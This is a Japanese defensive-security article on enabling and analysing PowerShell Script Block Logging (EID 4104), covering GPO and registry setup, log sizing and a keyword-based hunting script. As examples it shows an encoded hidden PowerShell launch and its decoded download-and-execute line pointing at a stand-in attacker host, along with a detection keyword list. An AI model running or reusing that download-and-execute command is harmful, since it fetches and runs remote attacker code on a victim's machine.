はじめに
PowerShellはシステム管理者にとって極めて強力な自動化ツールですが、同時にサイバー攻撃者にとっても最も悪用される「武器(LOLBins)」です。攻撃者は検知を免れるため、悪意あるコードをBase64でエンコードしたり、環境変数や文字列連結によって複雑に難読化してメモリ上で直接実行します。
このような高度なスクリプト攻撃を従来のプロセス監視やコマンドライン引数だけで捉えることは極めて困難です。
そこで不可欠となるのが、Windows PowerShellの防御機能の要である「スクリプトブロックログ(Script Block Logging)」です。この記事では、PowerShellの各種ロギング機能の比較と、難読化攻撃を暴くための要塞化設定・分析手順を解説します。
Linuxエンジニア向けの例え
Linux環境でシェルの実行内容を追跡する手段としては、auditd のシステムコール監査ルールや、bash の PROMPT_COMMAND を使ったコマンド履歴のsyslog転送が近い存在です。ただしこれらはあくまで「実行されたコマンド文字列」を記録するのが基本で、base64 -d を経由して展開された後の「実際に実行されるコード」までは追わないケースが多いのが実情です。
スクリプトブロックログはこれとは一線を画します。PowerShellエンジン自身が、難読化をすべて解いた後の「メモリ上で実行される最終形のコード」を横取りして記録するため、eval $(echo ... | base64 -d) のような多段の難読化があっても、実行される瞬間の生のコードがログに残ります。Falcoでシステムコールを見るのに近い発想ですが、対象がシェルではなくPowerShellエンジンの内部である点が異なります。
- スクリプトブロックログの有効化には、対象OU(または対象コンピューター)に対するGPO編集権限が必要です。
- 有効化するとログ流量が大幅に増加するため、必ず検証環境でログサイズと転送先(WEF/SIEM)の負荷を確認してから本番展開してください。
- 正当な管理スクリプトに平文の資格情報がハードコードされている場合、その内容がそのままログに残ります。展開前に社内の対象スクリプトを棚卸しし、
ConvertTo-SecureString -AsPlainText等の使用を洗い出しておくことを推奨します。
1. PowerShellの3つのロギング機能とその違い
PowerShellには主に3つのロギング機能が備わっています。それぞれ記録するレイヤーと情報量が異なります。
| ロギング機能 | イベントID | 記録内容 | 特徴と攻撃検知への有効性 |
|---|---|---|---|
| モジュールログ (Module Logging) | 4103 | パイプライン実行の詳細、実行されたコマンドレット名 | どのモジュールがロードされ実行されたかを追跡。ボリュームが大きくノイズになりやすい。 |
| スクリプトブロックログ (Script Block Logging) | 4104 | 実際にデコード・展開されて実行されるスクリプトコード全体 | 【最重要】 難読化が解かれた「生のコード」を記録できるため、隠蔽工作を完全に暴く。 |
| 文字起こし (Transcription) | (テキスト出力) | PowerShellセッション内のすべての入力コマンドと出力結果 | コンソール画面の完全な書き起こし。調査には有用だが、機密情報(平文パスワード等)も出力ファイルに残るリスクがある。 |
2. なぜ「スクリプトブロックログ (EID 4104)」が最強なのか?
攻撃者はログに痕跡を残さないよう、以下のようにコマンドを難読化して実行します。
# 攻撃者が実行する難読化コマンドの例(Base64エンコード)
powershell.exe -NoP -NonI -W Hidden -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAA...
プロセス作成ログ(EID 4688 / Sysmon EID 1):
記録されるのは上記のような「-Enc SQBFAFgA...」という難読化されたパラメータのみです。これだけでは、実際に何がダウンロードされ実行されたのかを即座に判定できません。
スクリプトブロックログ(EID 4104):
PowerShellエンジンがコードを実行する直前、メモリ上でデコード・展開された最終的なスクリプトブロックそのものをインターセプトして記録します。
そのため、ログには以下のように展開後の「素の姿」がそのまま残ります。
# EID 4104 に記録されるスクリプトブロックの実際の内容
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
どれほど多重に難読化されていようと、「CPUが解釈して実行する段階のコード」が丸裸で記録されるのが、スクリプトブロックログの決定的な強みです。
なお、PowerShell 5.0以降はスクリプトブロックログを明示的に有効化していなくても、DownloadStringや既知の攻撃手法に一致するような「疑わしい」スクリプトブロックについてはデフォルトでWarningレベルのEID 4104として自動記録されます。ただし、これはあくまで既知パターンへの部分的なセーフティネットであり、網羅的な検知にはGPOでの明示的な有効化が不可欠です。
3. グループポリシー(GPO)による一括有効化
スクリプトブロックログは、Windows 10/11および最新のWindows Server環境において、明示的にGPOで強制構成することが推奨されます。
設定手順
-
グループポリシー管理エディター(gpmc.msc)を開きます。
-
以下のパスに移動します。
コンピューターの構成 → 管理用テンプレート → Windows コンポーネント → Windows PowerShell
-
「PowerShell スクリプト ブロックのログ記録を有効にする」 をダブルクリックして 「有効」 に設定します。
-
「スクリプト ブロックの呼び出しイベントの開始/停止をログに記録する」 にチェックを入れます。
(※開始と停止をそれぞれ EID 4105/4106 として個別に記録させることで、長時間実行されるスクリプトの追跡が容易になります)
(補足)レジストリでの直接設定
検証環境やスタンドアロン端末では、以下のレジストリを設定することで即座に有効化できます。
# スクリプトブロックログの強制有効化
$regPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
if (!(Test-Path $regPath)) {
New-Item -Path $regPath -Force | Out-Null
}
Set-ItemProperty -Path $regPath -Name "EnableScriptBlockLogging" -Value 1 -Type DWord
# 呼び出しの開始/停止イベント(EID 4105/4106)も併せて記録する場合
Set-ItemProperty -Path $regPath -Name "EnableScriptBlockInvocationLogging" -Value 1 -Type DWord
4. イベントログの確認と不審コードの抽出
スクリプトブロックログは、以下のログチャネルに保存されます。
場所: アプリケーションとサービス ログ → Microsoft → Windows → PowerShell → Operational
イベントID: 4104
PowerShellによる不審キーワードの検知スクリプト
マルウェアや攻撃ツールが多用するAPI・キーワード(DownloadString、Invoke-Expression / IEX、VirtualAlloc、MiniDumpWriteDump 等)を含むスクリプトブロックログを抽出します。
# 直近24時間以内で、危険なキーワードを含むEID 4104ログを抽出
$startTime = (Get-Date).AddDays(-1)
$suspiciousKeywords = "DownloadString|Invoke-Expression|iex|VirtualAlloc|MiniDump|BitBlt|rundll32"
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-PowerShell/Operational'
Id = 4104
StartTime = $startTime
} | ForEach-Object {
$scriptContent = $_.Properties[2].Value # スクリプトブロックの本文
if ($scriptContent -match $suspiciousKeywords) {
[PSCustomObject]@{
TimeCreated = $_.TimeCreated
Level = $_.LevelDisplayName
ScriptSnippet = $scriptContent.Substring(0, [math]::Min(200, $scriptContent.Length)) # 先頭200文字
FullMessage = $scriptContent
}
}
} | Format-List TimeCreated, Level, ScriptSnippet
ヒント: スクリプトブロックのコードが非常に長い場合、1つのイベントに収まらず複数のEID 4104に分割されて記録されます。ログ内の ScriptBlockId(Properties[3])と MessageNumber/MessageTotal(Properties[0]/[1])を紐付けることで、分割されたスクリプトを復元できます。
5. 運用時の注意点:ログの肥大化と機密情報のマスキング
ログサイズの拡張:
スクリプトブロックログを有効化すると、Microsoft-Windows-PowerShell/Operational のログ流量が大幅に増加します。デフォルトの最大ログサイズ(約15MB)のままでは数時間でログがローテーションして上書きされてしまうため、最低でも 500MB〜1GB 程度に拡大するか、前回(第38回)解説した WEF(Windows Event Forwarding) を使って即時転送します。
平文パスワードの混入リスク:
社内の正当な管理スクリプトで ConvertTo-SecureString -AsPlainText や平文の認証情報をハードコードしている場合、その認証情報がそのままログに残る恐れがあります。スクリプトブロックログを有効化する際は、機密情報の取り扱いポリシー(秘密鍵や資格情報管理ツールの利用)を周知徹底してください。
まとめ
攻撃者がどれほど巧妙にPowerShellコマンドを難読化・エンコードして潜伏しようとも、メモリ上で実行される最後の瞬間を捉える「スクリプトブロックログ」の前では隠蔽が通用しません。
- GPOでスクリプトブロックログ(EID 4104)を全端末で強制有効化する
- ログチャネルの容量拡張、およびWEF/SIEMによる中央集約を実施する
-
DownloadStringやInvoke-Expressionなどの典型的な攻撃キーワードを定常監視する
Windows管理の中核であるPowerShellを「攻撃者の隠れ蓑」から「最も検知精度の高いセンサー」へと変貌させ、不可視のサイバー攻撃を確実に暴きましょう。
今すぐ実行すべき確認コマンド
# 1. スクリプトブロックログが有効になっているか確認
Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -ErrorAction SilentlyContinue
# 2. 現在のログチャネルの最大サイズを確認(デフォルト約15MB=15728640バイト)
Get-WinEvent -ListLog "Microsoft-Windows-PowerShell/Operational" | Select-Object LogName, MaximumSizeInBytes, LogMode
# 3. 直近1時間でEID 4104が実際に記録されているかを確認
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104; StartTime=(Get-Date).AddHours(-1)} -ErrorAction SilentlyContinue | Measure-Object